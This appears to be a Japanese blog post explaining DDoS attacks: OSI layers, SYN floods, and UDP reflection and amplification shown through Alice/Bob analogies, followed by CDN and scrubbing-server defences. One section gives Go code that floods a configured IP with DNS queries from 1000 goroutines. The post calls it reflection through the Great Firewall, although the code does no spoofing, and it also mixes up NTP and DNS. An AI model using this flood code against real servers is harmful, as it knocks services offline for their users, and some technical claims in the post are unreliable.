banner
QiYiming‘s Blog

QiYiming‘s Blog

a simple blog by QiYiming#6898

科学普及:DDOSとは何ですか?DDOSはどのようなタイプに分類されますか?どのようにDDOS攻撃を行うのですか?また、どのように予防することができますか?

DDOS 攻撃とは何ですか#

DDOS(分散型サービス拒否攻撃)は、インターネット上で最も一般的な攻撃手法であり、大量のリクエストを使用してサーバーリソースを消耗し、正常なリクエストの応答ができなくなるようにすることを目的としています。ハッカーが 2 台以上のコンピュータ(ボットとも呼ばれる)を使用してサーバーに対してサービス拒否攻撃を行う場合、それは分散型サービス拒否攻撃と呼ばれます。

DDOS はどのようなタイプに分けられますか#

DDOS 攻撃の原理を理解するためには、OSI ネットワークモデルを理解する必要があります。このモデルは、通信システム内のデータフローを 7 つのレイヤーに分割し、分散アプリケーションデータの最上位レイヤーから通信媒体を横断してデータを転送する物理的な実装までを表します。各中間レイヤーは、それより上位のレイヤーに機能を提供し、自身の機能は次のレイヤーによって提供されます。機能のカテゴリは、ソフトウェア内で標準の通信プロトコルによって実装されます。

OSI ネットワークモデルの 7 つのレイヤーは次のとおりです#

  1. 物理層
    データリンク層が提供するビットストリームを、異なるメディアに適した安定した信号に変換(変調)して送信します。
  2. データリンク層
    受信したビットをバイトに結合し、フレームに変換し、フレームヘッダとフレームフッタを追加します。
  3. ネットワーク層
    論理アドレスを使用してルーティングを行い、異なるネットワーク間のパス選択を実現し、ネットワークヘッダをデータパケットに追加します。ネットワークヘッダには、IP などのネットワークデータが含まれます。
  4. トランスポート層
    トランスポートヘッダをデータに追加してパケットを形成します。トランスポートヘッダには、使用するプロトコルなどの送信情報が含まれます。例:トランスポート制御プロトコル(TCP)など。
  5. セッション層
    セッション層は、2 つのコンピュータ間の通信リンクを制御および維持する必要があります。
  6. プレゼンテーション層
    プレゼンテーション層は、データを受信者が受け入れ可能で転送可能な形式に変換します。
  7. アプリケーション層
    アプリケーション層は、アプリケーション間の通信を設定するために設計されたインターフェースです。例:HTTPS、HTTP、SSH、POP3、FTP

分散型サービス拒否攻撃は通常、第 4 層と第 7 層、つまりトランスポート層とアプリケーション層で発生します。
トランスポート層の攻撃方法もアプリケーション層とは異なり、トランスポート層には TCP プロトコルと UDP プロトコルがあります。
私たちは皆、TCP が接続を確立するために 3 ウェイハンドシェイクが必要であることを知っています。以下の図を参照してください。

image

簡単に説明するために、ユーザーをボブ、サーバーをアリスとし、ボブは 114 号室に、アリスは 514 号室にいるとします。
最初のハンドシェイクでは、アリスに「こんにちは、アリス、私はボブで、114 号室にいます。」というメッセージを送信します(SYN パケットを送信)。
同時に、アリスはボブのリクエストを受け取り、2 回目のハンドシェイクを行います。
2 回目のハンドシェイクでは、アリスはボブに「こんにちは、ボブ!私は 514 号室にいます。」というメッセージを送信します(SYN+ACK パケットを送信)。
そして、3 回目のハンドシェイクでは、ボブはアリスに「OK、データの転送を開始しましょう。」というメッセージを送信します(ACK パケットを送信)。
そして、ボブとアリスはデータの転送を開始します。

しかし、現実のネットワーク環境では、アリスがボブに返信した後、ボブが何らかの理由で返信を受け取らない場合、アリスはボブに返信することができず、一定時間経過すると、アリスは再度ボブに syn+ack パケットを送信します。攻撃者はこの特性を利用して、多くのコンピュータを使用して一緒に「こんにちは、アリス、私は xxx で、xxx 号室にいます。」とサーバーに送信し、アリスはこれらの syn パケットに大量のリソースを消費して応答し、リソースが不足してダウンすることがあります。
これが SYN 攻撃です。

では、UDP 攻撃とは何でしょうか?
UDP にもさまざまな攻撃方法があり、よく知られているのはリフレクション攻撃です。
再びアリスとボブを例に挙げますが、新たにビーストという人物が登場し、191 号室にいます。
ボブはアリスに「こんにちは、アリス、私はビーストで、191 号室にいます。」と送信します(NTP リクエスト)。
しかし、アリスはボブに返信せず、「こんにちは、ビースト、私は 514 号室にいます。」と送信します(NTP レスポンス)。
この時点で、ビーストはアリスからのデータパケットを受け取りますが、このデータパケットには何の情報もありませんので、何もできません。
UDP にはさらに UDP 増幅攻撃があります。
たとえば、あなたが「DDOS」というキーワードで百度を検索すると、数十 KB のデータが返されますが、この KB を検索ワードのサイズで割ると増幅率が得られます。
ボブはアリスに「こんにちは、アリス、私はビーストで、191 号室にいます、DDOS は何ですか。」と送信します(NTP リクエスト)。
しかし、アリスはボブに返信せず、「こんにちは、ビースト、DDOS は分散型サービス拒否攻撃を意味します...」(NTP レスポンス)と送信します。
この時、ビーストは大きなデータパケットを受け取ります。ボブが複数のコンピュータを反射サーバーとして使用し、複数回リクエストを送信する場合、ビーストは大量のデータ量によってダウンする可能性があります。

DDoS をどのように実行しますか?#

警告!DDoS は違法行為です。このブログのコードを使用してサーバーを攻撃する場合、このブログは一切の責任を負いません。サンプルコードは教育目的のみです!
中国の国家防火壁を反射源として使用する例のコードです:

package main
// 必要な依存関係をインポート
import (
	"fmt"
	"github.com/miekg/dns"
	"github.com/spf13/viper"
	"net"
)

const numGoroutines = 1000 // 使用するゴルーチンの数を設定

func main() {
	// 設定ファイルを読み込む
	viper.SetConfigName("config") // 設定ファイル名はconfig.yaml
	viper.AddConfigPath(".")      // 現在のディレクトリで設定ファイルを検索
	err := viper.ReadInConfig()   // 設定ファイルを読み込む
	if err != nil {
		panic(err)
	}

	// UDP接続を作成する
	conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", viper.GetString("server.ip"), viper.GetInt("server.port")))
	if err != nil {
		panic(err)
	}
	defer conn.Close()

	// DNSクエリパケットを作成する
	msg := &dns.Msg{}
	msg.SetQuestion("www.google.com.", dns.TypeA)
	msg.SetQuestion("www.google.com.", dns.TypeAAAA)

	// 複数のゴルーチンを作成する
	for i := 0; i < numGoroutines; i++ {
		go func() {
			for {
				// 指定されたIPとポートにDNSリクエストを送信する
				packed, err := msg.Pack()
				if err != nil {
					panic(err)
				}
				if _, err := conn.Write(packed); err != nil {
					panic(err)
				}
			}
		}()
	}
}

上記は、中国の国家防火壁を反射源として使用する DNS 攻撃の単純な例であり、使用されるプログラミング言語は Go です。

DDoS をどのように防ぎますか?#

DDoS には防止方法がありませんが、現在の主流の 2 つの方法があります。

CDN の使用#

この方法を使用するには、元のサーバーの IP を隠す必要があります。この方法の利点は、分散性であり、原理が比較的理解しやすいことです。攻撃者はどのように攻撃しても CDN にしか攻撃できず、サーバーには到達できません。

高防御サーバーの購入#

この方法を使用するには、元のサーバーの IP を隠す必要はありません。この方法の利点は、非常に大きな防御力を持ち、CDN のメンテナンスが不要であることですが、明らかにデメリットもあります。それは高価です。非常に高価です。なぜ高価なのでしょうか?たとえば、60Gbps の防御力を持つサーバーを購入する場合、上流帯域幅は 60Gbps 以上でなければなりません。そうでないと、サーバーをクリーンアップする前に封鎖されてしまいます。高防御サーバーはクリーンアップサーバーとあなたのサーバーの 2 つに分かれており、内部ネットワーク接続を介して通信します。原理も非常にシンプルです。
クリーンアップサーバーをリック、あなたのサーバーをアリス、攻撃者をボブと呼びます。
ボブがあなたのサーバーに SYN リクエストを送信すると、クリーンアップサーバーがまずこのリクエストを受け取り、SYN+ACK を返信し、ユーザーが SYN 攻撃者であるかどうかを検出します。ユーザーが ACK パケットを返信した場合、クリーンアップサーバーとあなたのサーバーとの間で TCP 接続が確立され、ボブのデータが転送されます。
ボブが攻撃者である場合、彼はクリーンアップサーバーに SYN パケットを続けて送信し、クリーンアップサーバーは SYN+ACK を回復し始めますが、ボブは正当なユーザーではなく、単なる syn 攻撃者ですので、ACK パケットを返信しません。そのため、クリーンアップサーバーは攻撃者の接続をあなたのサーバーに転送しません。

まとめ#

DDoS は違法ですが、それでも存在します。サーバーがどれだけ優れていて、設定がどれだけ優れていて、防御がどれだけ優れていても、常により優れた人があなたのサーバーを意図的または非意図的に攻撃することがあります。劉慈欣は「三体」で「あなたが速くても、あなたより速い人がいる。あなたが遅くても、あなたより遅い人がいる」と言っています。この記事は私が以前の攻撃経験に基づいて投稿されたものであり、内容に抜け漏れがある場合は、コメントセクションでディスカッションしていただければと思います。内容に誤りがある場合は、指摘してください。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。